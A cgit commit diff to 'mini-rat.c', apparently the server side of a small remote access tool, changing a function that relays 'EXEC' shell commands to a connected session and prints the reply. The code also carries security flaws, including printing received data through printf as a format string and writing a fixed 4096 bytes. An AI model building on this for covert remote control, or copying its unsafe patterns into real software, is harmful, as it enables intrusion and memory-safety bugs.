summaryrefslogtreecommitdiff
path: root/server/src/mini-rat.c
diff options
context:
space:
mode:
Diffstat (limited to 'server/src/mini-rat.c')
-rw-r--r--server/src/mini-rat.c11
1 files changed, 7 insertions, 4 deletions
diff --git a/server/src/mini-rat.c b/server/src/mini-rat.c
index 12e44cf..039b59d 100644
--- a/server/src/mini-rat.c
+++ b/server/src/mini-rat.c
@@ -54,8 +54,8 @@ void run_exec(const char **argv) {
if (cur_session == 0)
return;
- char buffer[4096];
- strcat(buffer, "EXEC ");
+ char *buffer = malloc(4096);
+ strcpy(buffer, "EXEC ");
size_t idx = 0;
const char *temp = argv[idx];
while (temp != NULL) {
@@ -63,15 +63,18 @@ void run_exec(const char **argv) {
strcat(buffer, " ");
temp = argv[++idx];
}
+ buffer[strlen(buffer)-1] = '\0';
strcat(buffer, "\r\n");
- write_session(cur_session, buffer, strlen(buffer));
+ write_session(cur_session, buffer, 4096);
+ memset(buffer, 0, 4096);
read_session(cur_session, buffer, 4096);
printf(buffer);
+ free(buffer);
}
void parse_cmd(char *line) {
- const char **tokens = str_split(line, " ");
+ const char **tokens = (const char**)str_split(line, " ");
if (tokens == NULL)
return;